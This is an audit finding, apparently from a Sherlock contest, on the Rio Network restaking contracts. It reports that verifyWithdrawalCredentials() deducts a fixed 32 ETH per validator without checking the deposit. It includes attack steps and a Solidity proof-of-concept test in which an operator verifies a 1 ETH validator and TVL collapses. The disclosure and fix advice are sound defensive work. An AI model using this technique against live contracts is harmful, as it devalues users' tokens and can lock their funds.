Rural Tweed Lemur

high

# `RioLRTOperatorRegistry::verifyWithdrawalCredentials()` doesn't verify that the validator has 32ETH deposited from the rio protocol

## Summary
The function [RioLRTOperatorRegistry::verifyWithdrawalCredentials()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L236) verifies the withdrawal credentials but doesn't verify that the validator has `32ETH` deposited from the rio protocol.

## Vulnerability Detail
Because [RioLRTOperatorRegistry::verifyWithdrawalCredentials()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L236) assumes the validator has 32ETH (`ETH_DEPOSIT_SIZE`) deposited:
```solidity
...
assetRegistry().decreaseUnverifiedValidatorETHBalance(validatorIndices.length * ETH_DEPOSIT_SIZE); //<--- assumes every validator has `ETH_DEPOSIT_SIZE` deposited 
...
```
the [`ethBalanceInUnverifiedValidators`](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L320) variable will be decreased by `32ETH` even if the validator has not exactly `32ETH` deposited.

The [RioLRTOperatorRegistry::verifyWithdrawalCredentials()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L236) function can be called when:
- The withdrawal credentials are pointed the Eigenpod of the operator `RioLRTOperatorDelegator` instance
- The validator has at least `1ETH` deposited

Important to note is that the validator details don't necessarily need to be added the Rio protocol, generally done via [RioLRTOperatorRegistry::addValidatorDetails()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L261).

It's possible for an operator that has already been added in the Rio protocol to:
1. Spin up a new validator and set the withdrawal credentials to the Eigenpod of his `RioLRTOperatorDelegator` instance
2. Deposit `1ETH` into the validator
3. Retrieve the beacon chain proof of the `1ETH` deposit and verify the validator credentials via [RioLRTOperatorRegistry::verifyWithdrawalCredentials()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L236)
4. The variable [`ethBalanceInUnverifiedValidators`](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L320) will be lowered by `32ETH` even if the validator is not registered in the system and only has `1ETH` deposited (assuming [`ethBalanceInUnverifiedValidators`](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L320) is bigger than `32ETH`)

### POC 
Add the following imports to `RioLRTCoordinator.t.sol`:
```solidity
import {IRioLRTOperatorRegistry} from 'contracts/interfaces/IRioLRTOperatorRegistry.sol';
import {RioLRTOperatorDelegator} from 'contracts/restaking/RioLRTOperatorDelegator.sol';
import {CredentialsProofs, BeaconWithdrawal} from 'test/utils/beacon-chain/MockBeaconChain.sol';
```

Copy-paste the POC:
```solidity
function test_verifyWithdrawalCredentials() public {
    //-> Add operator and 1 validator
    IRioLRTOperatorRegistry.StrategyShareCap[] memory shareCaps = new IRioLRTOperatorRegistry.StrategyShareCap[](0);
    uint8 operatorId = addOperatorDelegators(reETH.operatorRegistry, address(reETH.rewardDistributor), 1, shareCaps, 1)[0];

    //-> Deposit `ETH_DEPOSIT_SIZE - address(reETH.depositPool).balance`. The protocol has 32ETH
    uint256 initialDepositAmount = ETH_DEPOSIT_SIZE - address(reETH.depositPool).balance;
    reETH.coordinator.depositETH{value: initialDepositAmount}();

    //-> Rebalance the protocol, this will deposit 32ETH in the validator
    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);

    //-> TVL is 32ETH
    assertEq(reETH.assetRegistry.getTVL(), 32 ether);

    //-> Spin up a new validator and deposit 1ETH into it
    uint40[] memory validatorIndices = new uint40[](1);
    IRioLRTOperatorRegistry.OperatorPublicDetails memory details = reETH.operatorRegistry.getOperatorDetails(operatorId);
    RioLRTOperatorDelegator operatorDelegator = RioLRTOperatorDelegator(payable(details.delegator));
    bytes32 withdrawalCredentials = operatorDelegator.withdrawalCredentials();
    beaconChain.setNextTimestamp(block.timestamp);
    CredentialsProofs memory proofs;
    (validatorIndices[0], proofs) = beaconChain.newValidator({
        balanceWei: 1 ether,
        withdrawalCreds: abi.encodePacked(withdrawalCredentials)
    });

    //-> Verify the withdrawal credentials of the new spinned up validator with only 1ETH deposited
    vm.prank(details.manager);
    reETH.operatorRegistry.verifyWithdrawalCredentials(
        operatorId,
        proofs.oracleTimestamp,
        proofs.stateRootProof,
        proofs.validatorIndices,
        proofs.validatorFieldsProofs,
        proofs.validatorFields
    );

    //-> The TVL is now 1ETH, 32ETH got subtracted by `verifyWithdrawalCredentials` and the 1ETH in the validator has been correctly accounted for by Eigenlayer
    assertEq(reETH.assetRegistry.getTVL(), 1 ether);
}
```

## Impact

This will cause an immediate drop in value of `LRTTokens`, because [`ethBalanceInUnverifiedValidators`](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L320) is used in the calculations of the protocol TVL, causing a loss to users. It will also cause future calls to [RioLRTOperatorRegistry::verifyWithdrawalCredentials()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L236) to revert due to underflow of [`ethBalanceInUnverifiedValidators`](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L320), locking funds in the protocol because the withdrawal credentials of a validators that might already have been deposited into by the rio protocol can't be verified.

## Code Snippet

## Tool used

Manual Review

## Recommendation
Add a check in [RioLRTOperatorRegistry::verifyWithdrawalCredentials()](https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/main/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L236) to make sure that the validator has been allocated ETH via the Rio protocol, this should also be enough to guarantee that the validator has exactly 32ETH deposited.